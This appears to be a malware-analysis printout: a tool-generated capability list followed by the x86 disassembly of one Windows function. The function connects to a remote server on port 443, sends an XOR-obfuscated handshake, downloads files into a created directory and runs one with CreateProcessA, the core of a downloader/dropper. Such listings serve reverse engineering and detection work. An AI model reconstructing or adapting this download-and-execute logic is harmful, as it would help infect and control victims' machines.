Function at 0x401270
Capabilities:
Act as tcp client
Check if file exists
Connect socket
Connect tcp socket
Convert ip address from string
Create directory
Create process on windows
Create tcp socket
Download and write a file
Encode data using xor
Get file attributes
Initialize winsock library
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40294b
mov eax, dword fs:[0]
push eax
sub esp, 0x498
mov eax, dword [0x404018]
xor eax, esp
mov dword [esp + 0x490], eax
push ebx
push esi
push edi
mov eax, dword [0x404018]
xor eax, esp
push eax
lea eax, [esp + 0x4a8]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov edi, ecx
lea ecx, [esp + 0xd4]
push ecx
mov esi, edx
push 0x202
mov dword [esp + 0x34], edi
mov dword [esp + 0x30], esi
mov dword [esp + 0x38], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4012e6
test al, 0x10
jne 0x401310
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
setne al
test al, al
jne 0x401310
xor eax, eax
lea ebx, [ebx]
lea edx, [eax + 0x63]
mov byte [edi + eax], dl
inc eax
cmp eax, 0xe661f3
jl 0x401300
mov edi, edi
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4017ce
xor eax, eax
mov dword [esp + 0x8c], eax
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], eax
mov dword [esp + 0x98], eax
mov eax, 2
push 0x1bb0
mov word [esp + 0x90], ax
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [esp + 0x2c]
lea ecx, [esp + 0x90]
push ecx
push edx
push 2
mov word [esp + 0x9a], ax
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0x10
lea eax, [esp + 0x90]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x40169d
mov dword [esp + 0x268], 0x2197970d
mov dword [esp + 0x26c], 0x93ac230c
mov dword [esp + 0x270], 0x6a390b
xor eax, eax
jmp 0x4013c0
mov cl, byte [esp + eax + 0x268]
xor cl, 0x11
sub cl, 0x11
xor cl, 0x7a
sub cl, 0x7a
xor cl, 0xaa
add cl, 0x56
xor cl, 0x33
sub cl, 0x33
mov byte [esp + eax + 0x268], cl
inc eax
cmp eax, 0xc
jb 0x4013c0
mov edx, dword [esp + 0x268]
mov eax, dword [esp + 0x26c]
mov ecx, dword [esp + 0x270]
push 0
mov dword [esp + 0x278], edx
mov dword [esp + 0x27c], eax
mov dword [esp + 0x280], ecx
call dword [sym.imp.MSVCR100.dll__time64]
push eax
call dword [sym.imp.MSVCR100.dll_srand]
add esp, 8
xor esi, esi
lea ebx, [ebx]
call dword [sym.imp.MSVCR100.dll_rand]
mov byte [esp + esi + 0x280], al
inc esi
cmp esi, 0xc
jl 0x401430
lea esi, [esp + 0x280]
lea ecx, [esp + 0x274]
call fcn.00401040
push 0
push 0x18
lea edx, [esp + 0x27c]
push edx
push ebx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x401475
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov edi, dword [sym.imp.WS2_32.dll_recv]
push 0
push 4
lea eax, [esp + 0x24]
push eax
push ebx
mov dword [esp + 0x2c], 0
call edi
cmp eax, 0xffffffff
je 0x40169d
xor esi, esi
cmp eax, esi
je 0x40169d
cmp dword [esp + 0x1c], esi
jle 0x40169d
mov dword [esp + 0x20], esi
mov ecx, dword [esp + 0x1c]
cmp dword [esp + 0x20], ecx
jge 0x4016b4
push esi
push 4
lea edx, [esp + 0x2c]
push edx
push ebx
mov dword [esp + 0x34], esi
call edi
cmp eax, 0xffffffff
je 0x40169d
cmp eax, esi
je 0x40169d
mov esi, dword [esp + 0x24]
test esi, esi
jle 0x40169d
push 0x100
lea eax, [esp + 0x3a0]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push esi
lea ecx, [esp + 0x3a4]
push ecx
push ebx
call edi
cmp eax, 0xffffffff
je 0x40169d
xor esi, esi
cmp eax, esi
je 0x40169d
cmp dword [esp + 0x24], esi
jle 0x40169d
push esi
push 4
lea edx, [esp + 0x18]
push edx
push ebx
mov dword [esp + 0x20], esi
call edi
cmp eax, 0xffffffff
je 0x40169d
cmp eax, esi
je 0x40169d
mov eax, dword [esp + 0x10]
cmp eax, esi
jle 0x40169d
push eax
call fcn.00401fdd
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x14]
add esp, 4
test eax, eax
jle 0x4015a3
sub eax, esi
cmp eax, 0x400
jle 0x40157b
mov eax, 0x400
push 0
push eax
mov eax, dword [esp + 0x20]
add eax, esi
push eax
push ebx
call edi
cmp eax, 0xffffffff
je 0x40159d
test eax, eax
je 0x40159f
add esi, eax
mov eax, dword [esp + 0x10]
cmp esi, eax
jl 0x40156d
jmp 0x4015a3
xor esi, esi
mov eax, dword [esp + 0x10]
cmp esi, eax
jne 0x40168f
push 0x103
lea ecx, [esp + 0x299]
push 0
push ecx
mov byte [esp + 0x2a0], 0
call sub.MSVCR100.dll_memset
mov eax, dword [esp + 0x34]
add esp, 0xc
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4015d0
lea edi, [esp + 0x294]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4015e3
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x39c]
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401602
lea edi, [esp + 0x294]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401615
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x298]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov word [esp + 0x1c], 0x6277
mov byte [esp + 0x1e], 0
call dword [sym.imp.MSVCR100.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x401670
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x18]
push esi
push 1
push ecx
push edx
call dword [sym.imp.MSVCR100.dll_fwrite]
push esi
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 0x14
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
inc dword [esp + 0x24]
mov edi, dword [sym.imp.WS2_32.dll_recv]
add esp, 4
xor esi, esi
jmp 0x4014b0
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
add esp, 4
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401310
push 0x44
lea edx, [esp + 0x48]
push esi
push edx
call sub.MSVCR100.dll_memset
mov eax, 1
mov word [esp + 0x80], ax
add esp, 0xc
xor eax, eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov byte [esp + 0x9c], al
mov eax, dword [esp + 0x28]
mov dword [esp + 0x44], 0x44
mov dword [esp + 0x70], 1
mov dword [esp + 0xb0], 0xf
mov dword [esp + 0xac], esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401713
mov ebx, dword [esp + 0x28]
sub eax, edx
mov edi, eax
mov eax, ebx
lea esi, [esp + 0x9c]
call fcn.00401a80
mov eax, dword [esp + 0x30]
mov ecx, esi
push ecx
lea ecx, [esp + 0xbc]
mov dword [esp + 0x4b4], 0
call fcn.00401f70
mov edi, 0x10
add esp, 4
cmp dword [esp + 0xb0], edi
jb 0x401770
mov edx, dword [esp + 0x9c]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x401780
mov eax, dword [esp + 0xb8]
cmp dword [esp + 0xcc], edi
jae 0x401797
lea eax, [esp + 0xb8]
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x48]
push edx
push ebx
push 0
push 0
push 0
push 0
push 0
push eax
push 0
call esi
test eax, eax
jne 0x4017c2
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401780
lea esi, [esp + 0xb8]
call fcn.00401900
mov ecx, dword [esp + 0x4a8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x490]
xor ecx, esp
call fcn.00401fe8
mov esp, ebp
pop ebp
ret